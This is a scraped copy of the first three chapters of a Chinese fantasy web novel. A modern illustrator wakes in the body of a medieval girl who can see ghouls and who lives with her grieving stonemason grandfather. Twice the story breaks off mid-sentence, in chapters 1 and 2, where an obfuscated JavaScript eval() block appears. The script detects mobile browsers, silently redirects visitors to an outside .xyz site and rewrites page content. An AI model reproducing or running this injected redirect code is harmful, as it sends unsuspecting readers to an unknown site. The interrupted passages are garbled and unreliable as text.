《魔女竟是我自己[西幻]》 1. 阿斯卡共和国1 001 菲丽丝疲惫睁开眼,发现自己正漂浮在半空。 往上看是无云的天空,往下看却是一个陌生的城镇。 整个世界安静得出奇又没有一点色彩,仿佛眼睛里被加了一层灰度滤镜,看什么都是灰蒙蒙的。 这一定是个梦——她浑浑噩噩地想道。 毕竟自己最后的记忆是为了赶死线连续三天没合眼,把稿子交出去的下一秒就直接倒在了床上……按理说,她现在一定正陷入梦乡。 再深一步分析,更加确切的证据就是眼前的场景。 自己身下的这座城镇似乎建在山中,上上下下的道路又窄又陡,整座城的建筑和道路也几乎是由石头垒出来的,与现代城市大相径庭。 而且当她控制着自己的身体飘到下面,留心观察那些走在石头路上的人时,人们身上的服饰更像是从纪录片和复原画里走出的,与现代人不同,反而更像是与自己刚刚赶制的稿件相关。 中世纪——这个过去很少在日常被提起的时代,经过近些年各种文学和影视作品的改编宣传后,终于重新回到了大众的视野里。 菲丽丝最近就在为一个以旧大陆中世纪为参考背景的游戏绘制插图。 因为工作室的规模实在太小,人手严重不足,作为主美的她几乎要扛起整个游戏所有美术方面的工作。 查那么长时间的资料还是刚刚画过的东西,她不至于这么快忘光。 想到这,菲丽丝立刻忍不住想要笑。 连做梦都能梦到工作内容,她简直敬业到对自己感到钦佩。 不过已经意识到是在做梦,菲丽丝的心情立刻变得轻松不少。 从毕业后就一直忙于工作,她已经有很多年没有出门旅行过了。难得做了这么一个如此真实的梦,还能在梦里保存自我意识,这种新奇的体验实在不多见。 抱着这种“旅游”的心态,她开始在小镇四处转悠起来。 一座中世纪的城市可以没有别的,但必然会有教堂——抱着这样的固有观念,菲丽丝开始寻找起这座城市的中心区域。 这并不是什么难事。古代街道上的人总没有现代多,她只要飞到天上看一眼就能知道了。 梦里的她似乎什么都能做到。 刚这么想着,自己的身体就再次变得轻盈,像一根羽毛般飘起来。 然而还不等她完全飘到建筑之上,不远处的一群孩子突然引起她的注意。 这些孩子看上去都不大,小的五六岁,大的也就十岁出头,此时正立场分明地站成两派对峙着。 说两队可能有些夸张,准确说是一个女孩被其他孩子孤立了。 只是一眼,菲丽丝就被那女孩的身影吸引了。 这实在不是什么稀奇事——毕竟在一个只有黑白灰的世界,谁乍然见到一抹彩色都会被其吸引住目光——而那个女孩正是她目之所及中唯一的彩色。 好奇心驱使着菲丽丝靠近那抹彩色,仔细观察着女孩的一举一动。 尽管听不到声音,但从肢体语言也能看出女孩是在努力说些什么,一双小手跟着不停开合的嘴唇用力比画,却只换来对面孩子们或是嘲笑或是厌恶的眼神。 可就在菲丽丝已经靠近他们、打算尝试通过唇语猜测一点对话内容时,那被孤立的女孩居然俯身从地上捡起一颗石子,用力朝对面为首的男孩扔去。 男孩没躲过,被小石子砸中后顿时被激怒,反应过来后立刻挥起拳头扑向女孩。 “首领”被打,站在他身后的小跟班们也动了起来。 他们推搡着女孩使其不得不一步步往后退,可他们身后就是一个没有任何防护装置的小土坡。不等菲丽丝惊呼出声,女孩已经睁大着双眼跌下陡坡。 菲丽丝几乎是想都不想地跟着飞跃而下。 她用力伸出手,不知是不是错觉,她感觉女孩也看到了她,下落的同时努力向她的方向伸出了手。 一大一小两只手在半空重合了一瞬,却在下一秒骤然分开。 菲丽丝什么都没抓到,眼睁睁看着那个有着褐色眼眸的女孩滚下了山坡。 她飘在半空愣了很久,视线从自己的手移向土坡下那躺在地上不动的女孩,看到那抹红色的血迹,一股难以自控的悲伤瞬间填满了心脏。 愣怔中,她的身体不受控地靠近了那具小小的身体。低头的那一刻,菲丽丝感觉她与那双开始放大的深色瞳孔对上了视线。 下一秒,似乎有一只手粗暴地把自己的脑子掏出来、转身塞进了榨汁机,剧烈的眩晕感和疼痛如海啸般呼啸而来,痛得她完全失去了意识。 *** 痛…… 这是菲丽丝第一个感觉。 紧接着是一阵高频的嗡鸣声如利箭刺入脑海,强迫她从混沌中唤醒。 在大脑还没有完全清醒过来前,触觉和听觉已经先视觉一步突破了某个薄膜,来到了一个新世界。 “…………不…………” “……是她…………石头……” “……住手…………” 菲丽丝努力想要睁开眼,可就像过去每次做梦一般,此时自己的眼皮像是被胶水黏住,无论如何也睁不开,反而是耳边尖锐的嗡鸣慢慢被一连串杂音取代。 好像有人站在自己身边,好像有人在说些什么,好像是有人在争吵…… 意识尚且模糊时,菲丽丝感觉自己听到了一种陌生的语言。 可随着那阵嗡鸣逐渐消失,那些陌生的发音居然慢慢组合成了自己能够理解的内容。 “……不是我的错……是她,是她先动的手!” 她听到一个略显稚嫩的声音高声说道:“她说了好多奇怪的话,一开始想扒我们的衣服,还用石头打我……大家都看到了——” “安静!” 一道低沉的声音在头顶响起,仿佛一个信号,那些叽叽喳喳的声音跟着骤然消失。 与此同时,菲丽丝眼皮上的沉重感也跟着一起消散,那种从心底涌出的急迫感让她猛地睁开双眼。 第一眼,视野中的一切都是模糊的,模糊到菲丽丝以为自己的眼睛出了问题。 她努力再次闭眼再睁眼,反复几次,终于在众人的惊呼中慢慢看清了周边的情况。 此时她正躺在一张相当不舒适的硬床上,周围挤着好几个人,有大人也有小孩。可惜因为光线原因,菲丽丝那还有些模糊的视力并不能让她分辨出他这些人此刻的表情,只能隐约听到有人在惊呼“她醒了”之类的话。 “圣母在上……圣母在上!” 随着一声格外低沉的男声响起,原本还围在床边的人立刻散开,一个魁梧的身影以一种相当强势的姿态闯进菲丽丝的视线。 菲丽丝只看清那人有着一脸浓密的大胡子,还没看清脸,下一秒就被对方用力抱进怀里。力道之大,直接让那点还残余在脑中的混沌随着肺部的空气一起挤压出身体,使她不由自主地瞪大双眼。 现在可不止能听到声音,眼前的一切也都染上了颜色,与刚刚完全不同……最重要的是,现在抱住自己的人。 她能感受到对方身上传来的体温,能感受到他急促的呼吸,颤抖的手臂,甚至能感受到对方怦怦的心跳声…… 这是什么?她还在梦里? 可梦会这么真实吗? “哎呀,快松手,马西莫大师!你这样会伤到她的!” 就在菲丽丝脑中闪过无数想法时,站在一旁的两名男人已经上前将人拉开。 其中一人用手托住她的肩膀,总算没让她直接失去支撑摔回床上。 “真是个可怜的孩子……你现在感觉怎么样?已经能坐起来了吗?” 耳边传来一道温和却略显做作的夸张声调,菲丽丝愣愣看过去,很快便对上一张带着笑的脸。 那人穿着一身长到会盖住鞋面的黑衣,胖胖的身体上有一张圆盘般的脸,脸上还镶嵌着一枚圆嘟嘟的圆鼻头。 如果不看衣着,简直像是从上个世纪广告包装纸上走出来的胖厨师。 不过最让菲丽丝感到惊讶的是他的发型。 目测来说,这位先生应该还没到开始大量失去毛囊的年纪,可他的头顶一圈已经秃到闪亮…… 简直像是……剃了一半毛的椰子…… 就在菲丽丝正被那颗发光的光头吸引时,室内其他人也在看着她。 好在这间房中的人不会读心术,自然也无人能猜到她那过于失礼的想法。 此时房间内的人都以为这个可怜的女孩还没从惊吓中缓过神,半扶着女孩的“胖厨师”没在意她略显古怪的眼神,又温声安慰了几句才向另一位同样穿着黑衣的瘦高男人招招手:“马可修士,你快来看看她的伤还有没有事。” …………修士? 随着他再次出声,菲丽丝的眼珠终于动了动,缓缓移到另一人身上。 与自己的同伴不同,那位被叫作“马可”的瘦高男人始终冷着一张脸,眉间有着好几道深深的皱褶,看向菲丽丝的眼神也绝不算友善,靠近检查伤口时甚至隐隐带着点嫌弃。 菲丽丝敏锐地感受到那股嫌弃,可她看了看马可修士同样留着的“秃椰子”发型,又低头看了看明显缩水的双手,心中涌起的惊涛骇浪已经让她无法继续思考其他事。 石头垒成的城市,人们不同寻常的衣服,穿着黑色衣服还剃度过的修士……一切的一切都将她引向一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517265|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可思议的假设。 她穿越了,好巧不巧穿越到了中世纪,还附身到了一个小女孩身上——仅仅是意识到这一点,她的心跳频率就开始不受控制地增大。 中世纪代表着什么? 野蛮,封建制,饥荒,瘟疫,糟糕的卫生环境,宗教裁判所,女巫审判,火刑……想到最后一项时,心中的警报声霎时达到顶点。 这里到底是什么地方?她是穿越到了真实存在的历史时代还是某个与现实相似的世界,甚至是某本小说漫画或游戏世界? 真是感谢现代文娱的丰富性,脑中闪过的选项实在过多,菲丽丝只感觉自己额头都要跟着烧起来。 现在要怎么办?虽然不知道为什么自己能听懂这里的语言,可她又不能确定自己究竟会不会说…… 更糟糕的是,那个最开始抱住自己的大胡子明显是“她”的家人。 要是一开口露出破绽,被发现自己与这具身体原本的主人不同,说不定真会被当成魔鬼之类的东西送走…… 越是思考菲丽丝越是感到自己处境的艰难,短短不到一分钟的时间额头已经出了一层冷汗,头也跟着再次眩晕起来。 正在帮她检查头部伤口的马可修士很快发现不对。 眼见着女孩瘦小的身体开始晃动,马可修士赶紧伸手扶住她另一边的肩膀。 “菲丽?菲丽希安娜!”黑衣修士焦急地唤了她两声,见人没有反应立刻招呼起同伴,“彼得修士,快让她躺下去,注意别压到伤口!” 一旁的胖修士赶紧“哎哎”地答应着,两人一起将人重新塞回被窝。 ………… 就这么晕倒似乎是个不错的选项——被搀扶着躺下的菲丽丝这样想道。 她现在的身体显然还需要休息,正好可以趁着休息的间隙多了解下这个世界的情报。 不能着急,慢慢来,一定不会有事。 工作以来什么人没见过?什么奇葩的事件没遇到过?只要不自乱阵脚,只要冷静下来去思考,办法总比困难多…… 菲丽丝一边躺下一边如此安慰自己,眼看着心跳就要渐渐回归正常的频率,无意中的一瞥却让她彻底呆住。 她的上方,正在帮助她躺下的马可修士背后突然很不科学地隆起一个大包。 下一秒,一个挂满腐肉的僵尸突然从他的脸上钻了出来,一边发出非人的大吼声一边张大着嘴朝自己扑来。 “啊啊啊啊啊啊啊啊啊啊啊——————!” 刚刚建立起的所有心理建设都在直面这一幕时彻底崩塌。 菲丽丝发出了平生最高分贝的尖叫,强烈的视觉冲击刺激着肾上腺素飙升,原本软软落在被子上的手骤然握成拳,闭眼用尽全力向前挥出—— “嗷嗷嗷嗷嗷嗷嗷————” “————啊!” 伴随怪物尖啸声一起响起的是马可修士短促的痛呼。 这位可怜的黑衣修士大概怎么都没想到,一个前一秒就要晕倒的女孩后一秒居然会突然暴起打人。 他在毫无防备的情况下被打中左眼,身体踉跄着向后退了两步,如果不是身后就有张桌子说不定会当众摔倒。 “僵尸”随着尖啸声的消失彻底消散了,菲丽丝的理智也随之回归。 触及所有人震惊看来的视线,那种大事不妙的预感再次攀升到顶点。 黑衣修士还弓着腰,捂住左眼不住发出痛苦的呻、吟,站在他身边的人都纷纷上前询问他的情况…… 他们的反应实在很正常,太正常了……正常到菲丽丝很快意识到他们谁都没有看到刚刚突然出现的“恶鬼”。 完了,这下彻底完了。 握紧的拳头正火辣辣地发烫,菲丽丝却连一个解释的话都说不出来。 如果她是个真正的孩子,也许现在已经吓哭了,也许会口不择言地说出自己刚刚看到的可怕景象……可作为一个成年人,她很快就想到自己根本不能把这些说出口。 那位黑衣修士明显是个神职人员,她要是真的把自己看到的一五一十说出来,无疑会让眼前的修士背上“被魔鬼附身”的名声。 而且如果她真的身处宗教氛围浓重的中世纪,她一个普通人凭空“污蔑”一位神职人员后会遭到怎样的报复她想都不敢想。 诸多说辞被在脑中快速否掉,现在摆在面前的似乎只有一条路了。 快晕吧! 这个时候赶紧晕了,醒来后就当作什么都不记得…… “我说吧!她就是有病!” 就在菲丽丝打算再次装晕时,一名站在门口的男孩指着她兴奋大喊:“我都说她疯了你们还不信……现在看到了吧?她就是个彻头彻尾的疯子!” 2. 阿斯卡共和国2 002 一切争论都在男孩略带快意的声音中结束了。 谁会跟一个疯子一般见识呢? 就算是脸上被打了一拳的马可修士,面对这种情况也只是默默揉了揉眼眶,偏头看了眼另一位站在床边的大胡子男人。 “我想她现在应该没有太大问题了,马西莫大师。” 黑衣修士的声音依然十分冷淡,简单朝房子的主人微微颔首便拎起自己的手提包,径直朝门外走去。 “哎,马可……” 坐在床头的胖修士赶紧跟着站起身,见同伴已经头都不回地走出门,只能无奈叹口气,对沉默站在一旁的男人说道:“您别在意,马西莫大师。他就是这种性格,没有针对谁的意思。” “不,是我麻烦你们跑了一趟,我真是……我真不知道该怎么感谢你们……”大胡子男人哑着声音说道,“请转告卡米罗院长,等菲丽的状态好些了我一定会当面向他道谢。” “您不用着急,孩子的伤养好比什么都重要……” 彼得修士的声音如他的身材一样软和,跟男人说了几句客套话便离开了。 “真是怪人……” “……我都说了吧,她从她父母死后就不正常了……” “……说不定就是魔鬼附……” “都给我闭嘴!!” 隐隐约约的议论声从门口传来,连躺在床上的菲丽丝都能听到,站在旁边的大胡子男人更是听得一清二楚。 一开始他还没说什么,直到听到某些关键词后脸色忽地一变,一把抄起放在桌面的锤子便气势汹汹地朝门口走去。 聚集在门口的几个小孩见状立刻发出一阵尖叫,不等人走到门口便一哄而散。 人都跑了男人也没有追的意思。 他三两步走到门口后直接甩上了房门,室内一时只能听到他带着愤怒的粗重呼吸声。 菲丽丝微微抬头看向门口,却只能看到一个微微佝偻的背影。 通过之前短暂一瞥中她也能看出来,这位被两位修士称作“马西莫大师”的男人虽然身材还算健壮,可也不算年轻了。 斑白的胡子和脸上深刻的褶皱都能看出他已经年到中年。就算没有五十岁,那也至少四十多岁了。加上刚刚那些孩子说的,菲丽丝猜测他大概率是这具身体的祖父,就是不知道是母亲那边的还是父亲那边的…… 就在她思考的空档,站在门口的男人已经调整好呼吸走回床边。 “…………” “你……是不是又看见那些东西了?” 他的话来得太突然,突然到菲丽丝连掩饰都没来得及掩饰,脸上已经条件反射露出惊讶的表情。 并不需要她肯定还是否认,一瞬的表情已经让男人有了自己的判断。 见女孩睁着一双圆溜溜的眼睛看向自己,那双深深扣在眼窝里的眼睛中顿时涌现出一股要化为实质的悲伤。 “睡吧,好孩子……睡一觉就好了。” 不等菲丽丝做出什么反应,中年男人已经用满是老茧的手摸了摸她的额头,哑声说道:“我看到今天市场上有卖兔肉,我去买点回来,晚上我们吃炖肉……” 安静下来后,失去肾上腺素辅助的菲丽丝再次感到一阵头晕。 也许是感受到此时自己已经安全,也可能是男人低沉的声音给她带来一阵莫名其妙的安心感,她没能强撑多久就闭上了眼。 身体变成小孩后似乎连精力都变弱了。菲丽丝曾隐约听到有人在叫自己的名字,可上下眼皮仿佛装了磁铁,怎么都睁不开。 昏睡中,她感觉自己的身体似乎被人半抱起来,有人把什么糊糊状的东西递到自己嘴边,而她在半梦半醒中也把那些完全没吃出味道的东西都咽了下去。 这种浑浑噩噩的状态持续了一天,也或许是几天,等到菲丽丝再次清醒过来时,守在她床边的已经换了个人。 “圣母保佑……可怜的孩子,你总算醒了。” 一名包着头巾的年轻女人见她自己坐起身,还打算下地,赶紧放下手中的铁梳和羊毛,上前扶住女孩的肩膀:“别这么着急……你是不是饿了?要不要吃点东西?” 见女孩用一种看陌生人的眼神看过来,女人赶紧做起自我介绍:“你可能没见过我,我是今年大斋期后嫁到帕里家的卡特琳娜。大教堂的工地实在缺人手,马西莫大师……你的祖父已经请了两天假不能再继续待在家里了,所以请我在白天照顾你……” 女人短短一句话解决了菲丽丝很多疑问。 如她所料,那位被称作“马西莫大师”的男人确实是她这具身体的亲人。更幸运的是面前的人,这位名为“卡特琳娜”的年轻妇人与原主没有太多交集,这实在让菲丽丝的神经放松了不少。 对上年轻女人关切的目光,她不由张了张嘴,一种奇妙的引力让她不由自主地说出了一种相当陌生的语言。 “谢、谢谢……” 虽然女孩的声音有些哑,说话也有点磕巴,但卡特琳娜听到这声道谢后还是跟着露出一个温和又放松的笑。 外面都在传马西莫家的孩子不久前因为父母接连去世成了疯子,来之前她还有些害怕,怕一旦孩子醒来发起疯她控制不住怎么办…… 现在看来传言终究是传言,眼前的女孩可一点都不像个疯子。 想到这里,卡特琳娜心中的怜悯不禁又多了一层,声音也变得更加柔和:“听你嗓子都哑了,要不要起来喝点水?” 菲丽丝点点头,很快就从女人手中接过一杯水。 就在杯中水即将接触到嘴唇时,她突然想起一件很重要的事。 这水,真的干净吗? 倒不是她怀疑女人往水里下了什么……主要是眼前这个无限接近于中世纪的世界实在让人没有太多安全感。 就算不是古代,现代依然有很多肠道和寄生虫疾病是因为饮用了不干净的水造成的。 而从眼前这杯水的温度看应该也没煮沸过,一杯下去不知会喝下去多少细菌,也不知道这具身体的胃肠是否能经受住这份考验…… 举着杯子踌躇了一秒,菲丽丝最后还是假装吞咽了一口水,放下杯子后试探地看向面前的年轻妇人:“请、请问,您刚刚说,可以吃饭……” 见她能提出如此清晰的请求,妇人脸上的笑更大了些。 “麦粥早就做好了,我这就去端过来,你在这里稍等一下。”她将女孩的鞋放到菲丽丝脚边,确定她能自己坐稳后便风风火火地走出门。 麦粥……至少是煮过的,应该不会有什么问题…… 这么想着,菲丽丝已经自己穿好鞋,脚步虚浮地下了床。 变成小孩后人的视角也发生了巨大的改变,一切都变得新奇起来。 虽然不知道原本的“小菲丽”有多少岁,可按照她此时只高出餐桌半个头的身高和干瘦的小身板看,她觉得这个小家伙估计只有六七岁。 等她费力爬上椅子坐好时,女人已经端来一碗糊糊状的粥和一只木勺,端端正正摆到她面前。 菲丽丝看看外面的天色,大概是上午七八点的样子,也是她平时吃早饭的时间。 可面前只有一碗粥,年轻妇人在给她端过来后也坐到了之前的位置上继续梳羊毛,显然没有跟着一起吃的打算。 “……您不跟我一起吃吗?” 出于礼貌,也是为了能与对方多说几句话,菲丽丝率先开口问道。 梳着羊毛的女人似是愣了下,又笑着摇摇头:“现在还不到第三个时辰呢。你吃你的,不用管我。” 第三个时辰,又是什么? 看看外面已经完全大亮的天色,菲丽丝默默在心中排除“三点”这个选项,没有再追问,开始沉默地喝起面前的麦粥。 有一说一,麦粥并不算太难喝,就是味道有些微妙。 与过去自己吃的、用牛奶煮的麦粥不同,这碗粥应该是单纯用水煮的。但大概是为了照顾她这个“病号”,里面加了些奶酪碎,整碗粥除了奶酪味还带着一股淡淡的咸味。 虽然粥的味道有些寡淡,有些麦粒不知是没有完全脱壳还是混了沙子有点硌牙外,眼前这碗食物远比菲丽丝的预期好很多。 恰在此时,远处隐隐传来一阵钟声。不久,窗外又由远及近传来一阵脚步声。 在好奇心的驱使下,坐在桌边的两人都忍不住循着声音伸长脖子往外看。 她们所在的这座房屋建在一个斜坡上,从外门的那边算,自己现在是在一楼。但从餐桌这边的窗户往外张望,窗口距离倾斜的地面有将近一层的距离,也可以算是“二楼”。 于是,从菲丽丝的角度看,正好能看到一群人正整齐从斜坡的下方走上来。 为首的是一位身穿黑色祭披,像是神父模样的人。 紧跟在后的是两位穿着黑衣、手持蜡烛的男人,大步向前走的同时神色庄严地目视前方。 与他们神色截然相反的是跟在其后一高一矮两位男士。 高的那位留着修剪得当的胡须,看上去已经是个中年人。稍微矮一些的要比中年人年轻一个辈分,看上去还是个十岁出头的少年,此时两人脸上都写满了相似的悲伤。 至于他们为什么会露出这样的表情,两人身后的那口披着华美棺罩的巨大棺材似乎说明了一切。 “圣母在上……派勒乌索大人居然亲自为他送葬,看来外面说他们关系很好都是真的。” 卡特琳娜看清那是送葬队伍后立刻做出了祈祷的手势,默念了几声祈祷词,等到棺材过去才坐回椅子上,继续梳起手中的羊毛:“派勒乌索大人也是真可怜。听说那位老先生是死在回来的路上意外遇到了匪徒,他们连最后一面都没能见到……” 菲丽丝最后看了眼跟在棺材后的超长送葬队,跟着坐回椅子。 “您知道去世的那位是谁? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15517266|170637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她刻意忽视了对方提到的陌生名字,转而直接询问起亡者的身份,“派勒乌索大人是他的亲属?” “哦当然。那位老先生可是派勒乌索大人的亲伯父,听说还曾是阿斯卡大学里最有声望的教授,只是早年因为一些事被自己的父亲逐出了家族……”女人一边梳着羊毛一边唠家常般随口说道,“但说到底都是一家人。老派勒乌索都去世多少年了,派勒乌索大人又与他伯父关系很好,最后不还是让他披着家族的徽章下葬了?” 虽说已经嫁为人妇,可卡特琳娜看上去也只有十七八岁,一旦开始说起八卦,之前表现出的稳重顿时荡然无存,连声音都跟着轻快起来。 菲丽丝静静听着她说完,眉头却跟着皱起来。 “派勒乌索”这个名字她确实没听过,但“阿斯卡大学”中的“阿斯卡”听起来有些耳熟。只是一旦仔细去想,那一点点熟悉感又像流沙般从手指间溜走了。 另外,这个世界居然已经出现大学了,就是不知道那是不是她印象中熟悉的那种大学…… 抱着越来越多的疑问,菲丽丝很快便把眼前的粥喝完。 卡特琳娜是个很称职的看护。确定她不再头晕,一个人待着也没关系后便收了碗将其清洗干净,返回后又询问她要不要去楼上自己的房间玩娃娃。 直到此时,菲丽丝才知道,原来自己一直在睡的床并不是自己的。 大概是那位“马西莫大师”需要时刻照顾孙女,上下楼终究不方便,这才让她一直睡在一楼的床上。 菲丽丝完全不明白自己为什么会来到这个世界,也不能确定原本的那个“小菲丽”去了哪里……但既然来都来了,就算是为了找到这个小孩原本的灵魂,她现在也要努力好好活着。 既然要活着,那就要尽量多了解周围的情况。 再次向面前的女人道过谢后,女孩扶住跟自己差不多高的楼梯把手,一点点移到楼上,很快便在三间房中找到了那间名义上属于自己的房间。 比起楼下那张除了被子和枕头什么都没有的床,楼上这间房明显更有孩子生活过的痕迹。 床头放了一只被|干草填满的亚麻布娃娃,摸起来也有点扎手,抱着更是没有棉花的柔软,但考虑到娃娃身上的针脚很细密整齐,身上也很干净,应当很受原主人的喜欢。 除此之外,床尾放着一只小箱子,里面装了几只木头雕刻的人偶和动物摆件,类似陀螺的玩具,以及意义不明的小石子和鸟的羽毛……杂七杂八的物件装满了箱子,看上去都不是什么贵重的东西,可所有的木头制品都被磨得很光滑,完全没有尖锐的棱角,仅从这点也能看出其中的细心。 这应该是个被家人很好照顾长大的孩子。 菲丽丝看了看木陀螺上刻着的“F”,又看看自己没什么茧子的手心,回想起自己第一次醒来时听到的种种,顿时有种五味杂陈的感觉。 握着木陀螺,菲丽丝坐回到自己的床上,忍不住去描绘这间房间原本主人的模样。 她能突然从黑衣修士身上看到了类似“恶鬼”的东西,那这位“小菲丽”,是不是也看到了同样的东西? 所以“她”才会有那样反常的举动……所以,尽管“她”很害怕,却还是想要把那种脏东西从别人身上驱赶走,这才会去抓那个男孩的衣服、才会朝他扔石头。可别人看不到,这才会觉得“她”疯了…… 想到这,菲丽丝忍不住深吸一口气,抹了把脸让自己冷静下来。 事情已经发生了,继续争论当时谁对谁错对此时的她没有任何帮助。 现在最重要的是这具身体里的人已经换了一个,应付一个与“她”不太熟的人还可以,可再过几个小时小菲丽的祖父可就要回来了,到时候她到底该怎么表现? 是要把真相全盘托出,还是先瞒着对方静观其变? 两者都有相应的风险,她一时还真说不准哪个是更好的选择。 她还记得自己即将昏睡前那位“马西莫大师”说过的话。 如果她的猜测没错,小菲丽应当是把自己能看到“鬼”的事告诉过自己的祖父……如果她要假扮小菲丽,那她到底该不该把自己看到的实话实说? 陷入纠结的菲丽丝捏着陀螺倒到床上,眼神空洞地看向房顶。 也不知是用脑过度还是头上的伤还没好,她突然感觉头上有点痒,习惯性伸手抓挠了一下。 这原本是个再平常不过的动作,可指尖传来的诡异触感让菲丽丝心尖一颤,猛然坐起身。 她感觉,自己刚刚好像捏爆了什么。 收回手仔细看,手指上的痕迹也证明了那并不是自己的错觉。 心中隐隐冒出了一个可怕的猜想……但由于那实在太过恐怖,菲丽丝反而在大脑宕机的情况下再次伸手摸向自己的头顶,摩挲片刻后两指突然收紧。 看清手中捏着的、还在蹬腿的虱子,菲丽丝脑中骤然传出某根弦绷断的声音。 3. 阿斯卡共和国3 003 阿斯卡大教堂内,马西莫在路过后殿耳房时突然停下脚步,目光再也无法从上方移开。 今天外面的天气很不错,窗外阳光灿烂,那扇安放在圆拱顶部的彩色玻璃玫瑰窗完全被照亮。 正圆形的花窗被横平竖直的窗框分成九个部分。 穿着蓝衣的圣母双手合十坐在正中间,包围着她的其余八个区域分别绘制出教经中耳熟能详的、圣母与几位圣徒的故事。 马西莫怔怔看着那端坐在正中央、因强光而看不清其表情的蓝衣圣母,仿佛被什么吸引般走到耳房内,双膝跪地,紧握住双手开始祈祷。 阳光透过彩色玻璃照下,仿佛天使给他披上一件彩衣,在不算安静的大教堂中这一幕显得格外神圣。 一位年长的黑衣修士从旁路过,忍不住被那道身影吸引。看出那是自己的熟人后,他只摆摆手让跟在自己身后的修士先离开,自己则静静立在一旁等待。 背对着他的马西莫对此一无所知,许久才重新睁开眼看向顶部的圣母,再次做出一个祈祷的手势后才扶着膝盖缓缓站起身。 “愿圣母保佑您,马西莫大师。” 随着一道熟悉的声音从身后响起,马西莫很快与一双充满慈爱的眼眸对上视线。惊讶过后他立刻三两步上前,微微欠身向对方回礼。 “愿圣母保佑您,卡米罗院长……”踌躇片刻,他有些羞愧地朝对方道歉,“真是很抱歉,我原本想要更早到修道院向您致谢,可最近实在是……” “我知道您的难处,马西莫大师。您现在的烦恼已经够多了,请一定不要因为这点小事而烦忧。” 年迈的修道院院长抬手止住他的话头,声音还是一如既往的温和:“而且我也对菲丽希安娜的伤很是担忧。她现在还没醒来吗?需不需要让马可修士再去看看?” 一句客气的“不用麻烦”都到了嘴边,脑中闪过孙女那张苍白的小脸,他止住了话头,转而把脑袋低得更低了:“如果方便的话……” “当然。我们都是吾主的子民,互相帮助是应该的……” 老院长呵呵笑着,一边关切询问他最近是否还有其他难处一边一起往外走。 两人刚走出大教堂,迎面便遇到一队抬着棺材的送葬队伍。 尊重死者是最基本的礼仪之一,尤其为首的送葬人还是阿斯卡城中最显赫家族的当家人。 因此,庞大的送葬队路过的地方路人无不停下脚步,或是摘帽或是垂首祈祷,向死者表达敬意。 马西莫和卡米罗院长也不例外。 他们恭敬站在一旁等着棺材过去,两人才重新抬头向大教堂内部看去。 “……虽然派勒乌索教授的有些观点激进了些,但吾主知道,他有一个高尚的灵魂,值得这样隆重的葬礼。” 老修士朝棺材的方向再次默念了几句祈祷词,这才重新看向站在身边的男人:“今年可能不是个好年份啊,马西莫大师,去年冬天的那场地震也许就是预兆,吾主对我们很不满……我从朝拜者那里听说西克拉岛从去年开始就死了不少人,说是出现了疫病,真希望那只是一些不实的谣传……” 见男人还看着送葬队伍有些恍惚,老院长不禁再次叹息一声,悄悄把人拉到一旁人少的地方。 “吾主做证,马西莫大师,我的话绝对没有私心……但关于菲丽希安娜的事,您真的不考虑一下萨瓦托雷修士的建议吗?”穿着黑衣的老者压低声音劝说道,“她的情况我听马可修士说了,这样下去你的工作也会受到影响……她现在只有你这一个亲人了,距离成年还有好几年,如果你的工作受到影响那你们两人的生活都不会好过啊……” 见男人胡须下的神情似有松动,他又继续补充道:“我知道这样做您会不好受,可修女院的生活也并没有您想象中那么糟糕,至少在那里她不会被外界打扰。而且在距离圣母光辉最近的地方过几年,人说不定会变得更加稳重,到时候您想把她接出来嫁人也是可以的……” 马西莫的胡须动了动,似乎想说什么,却还是默默听对方说完才闭了闭眼。 “我……会考虑的。”他艰难说道,“我需要时间,院长。您知道,我就那么一个女儿和徒弟,他们也只有这一个孩子……她是我唯一留在这个世上的亲人了……我、我需要时间去考虑……” “我知道,我都明白,对你来说这确实是个艰难的决定。”老修士拍拍他的肩膀,安慰道,“不用着急做决定,萨瓦托雷修士最早也要下个月才会从阿西亚离开,等他来了你可以再跟他聊一聊……” 看着老修士离开的背影,马西莫再次沉默下来。 只是工作还要继续,他不得不顺着大教堂的外墙走到其另一侧。 为了向相邻城邦的维利斯发出挑战,九年前,阿斯卡的九人委员会正式批准扩建阿斯卡大教堂。 财大气粗的九大家族请来了著名的雕塑家及建筑师乔瓦纳大师绘制了扩建图纸并监理工程,还从附近雇用了不少工匠,势必要将阿斯卡大教堂建成全世界最大的圣母大教堂。 作为土生土长在阿斯卡城中的本地石匠大师,马西莫算是第一批响应号召的人,也是主要监造人乔瓦纳大师的副手之一。 九年来,他亲眼看到绘制在图纸上的伟大建筑在自己手下一点点成型,作为一名从八岁起就开始跟石头打交道的石匠,能有幸参与到这样伟大的一项工程足够他吹嘘一辈子。 然而吾主似乎总会在人感到最得意的时候展现出自己的公平。 去年年末的那场地震并不算大,却偏偏让建造工地上方的一块石头落了下来,偏偏砸中了他最爱的徒弟兼女婿的脑袋。 而他唯一的女儿听到噩耗当时便晕了过去,带着他还未出生的外孙一起离开人世…… 白发人送黑发人的痛苦让马西莫感觉自己在短短几个月就老了十岁。 可他还不能就这么倒下。他还有一个外孙女要养,她还那么小,只能依靠自己生活。而工匠的工资从来都是干多少活给多少工资,就算作为石匠大师自己近些年还有些积蓄,他也不能让家里长期处于入不敷出的状态。 而且外孙女现在情况特殊,尤其是这次事件后,她估计都没有办法正常出门了,那算下来还真不如送去修女院生活。 